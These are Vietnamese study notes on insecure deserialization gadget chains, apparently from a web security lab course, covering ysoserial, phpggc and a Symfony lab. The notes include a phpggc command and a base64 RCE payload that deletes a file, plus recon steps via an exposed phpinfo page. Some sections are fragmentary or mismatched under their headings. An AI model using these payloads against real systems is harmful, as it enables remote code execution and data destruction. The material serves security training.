“Gadget” là một đoạn mã tồn tại trong ứng dụng có thể giúp kẻ tấn công đạt được một mục tiêu cụ thể.
Mục tiêu của kẻ tấn công có thể chỉ đơn giản là gọi một phương thức sẽ truyền đầu vào của họ vào một gadget khác. Bằng cách xâu chuỗi nhiều gadget lại với nhau theo cách này, kẻ tấn công có thể có khả năng truyền đầu vào của họ vào một “sink gadget” nguy hiểm, nơi nó có thể gây ra thiệt hại tối đa.
Trong thực tế, nhiều lỗ hổng deserialization không an toàn sẽ chỉ có thể khai thác được thông qua việc sử dụng các chuỗi gadget. Do đó, việc có thể xây dựng các chuỗi gadget là một trong những khía cạnh quan trọng để khai thác thành công deserialization không an toàn.
Working with Pre-built Gadget Chains
Có một số công cụ có sẵn cung cấp một loạt các chuỗi đã được phát hiện trước đó đã được khai thác thành công trên các trang web khác. Sử dụng các công cụ này để vừa xác định vừa khai thác các lỗ hổng deserialization không an toàn với tương đối ít nỗ lực.
Một công cụ như vậy cho deserialization Java là ysoserial.
Note
Trong các phiên bản Java 16 trở lên, chúng ta cần đặt một loạt các đối số dòng lệnh để Java chạy ysoserial. Ví dụ:
Không phải tất cả các chuỗi gadget trong ysoserial đều cho phép chúng ta thực thi mã tùy ý; một số phục vụ các mục đích khác:
Chuỗi URLDNS kích hoạt một DNS lookup cho một URL được cung cấp. Nó không phụ thuộc vào một thư viện dễ bị tấn công cụ thể và hoạt động với bất kỳ phiên bản Java nào, làm cho nó trở nên lý tưởng để phát hiện.
Chuỗi JRMPClient cũng giúp phát hiện bằng cách làm cho máy chủ cố gắng kết nối TCP đến một địa chỉ IP nhất định (không phải là tên máy chủ). Chuỗi này hữu ích trong các môi trường nơi tất cả lưu lượng truy cập ra ngoài, bao gồm cả DNS, đều bị chặn. Chúng ta có thể kiểm tra điều này bằng cách sử dụng cả địa chỉ IP cục bộ và bên ngoài: nếu phản hồi nhanh cho IP cục bộ nhưng bị trễ cho IP bên ngoài, điều đó có nghĩa là chuỗi gadget đã kích hoạt một nỗ lực kết nối đến địa chỉ bên ngoài, bị tường lửa chặn.
Hầu hết các ngôn ngữ thường xuyên bị các lỗ hổng deserialization không an toàn đều có các công cụ proof-of-concept tương đương. Ví dụ, đối với các trang web dựa trên PHP, chúng ta có thể sử dụng “PHP Generic Gadget Chains” (phpggc).
Lab: Exploiting Java Deserialization with Apache Commons
<h4>Internal Server Error: Symfony Version: 4.3.6</h4><p class=is-warning>PHP Fatal error: Uncaught Exception: Signature does not match session in /var/www/index.php:7Stack trace:#0 {main} thrown in /var/www/index.php on line 7</p>
Điều này cho thấy framework là “Symfony Version: 4.3.6”.
Thiết lập phpggc (xây dựng hình ảnh Docker) và tìm các chuỗi gadget:
docker run --rm phpggc -l symfonySymfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE: Function Call __destruct *Symfony/RCE7 v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7 RCE: Function Call __destructSymfony/RCE9 2.6.0 <= 4.4.18 RCE: Function Call __destructSymfony/RCE10 2.0.4 <= 5.4.24 (all) RCE: Function Call __toStringSymfony/RCE11 2.0.4 <= 5.4.24 (all) RCE: Function Call __destruct
Thử tạo đối tượng được tuần tự hóa với chuỗi gadget của Symfony/RCE4 (và cũng mã hóa nó):
$ docker run --rm phpggc Symfony/RCE4 system 'rm /home/carlos/morale.txt' | base64 -w 0 > payload$ cat payloadTzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjY6InN5c3RlbSI7fX0K
Tiếp theo, chúng ta cần tìm khóa bí mật để ký. Tìm đoạn mã sau từ endpoint /my-account:
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
Truy cập trang đó và tìm thấy một khóa bí mật dưới dạng một biến PHP:
Có thể không phải lúc nào cũng có một công cụ chuyên dụng để khai thác các chuỗi gadget đã biết trong framework được ứng dụng mục tiêu sử dụng. Trong trường hợp này, luôn đáng để tìm kiếm trực tuyến để xem có bất kỳ exploit nào đã được ghi nhận mà chúng ta có thể điều chỉnh thủ công hay không.
Lab: Exploiting Ruby Deserialization Using a Documented Gadget Chain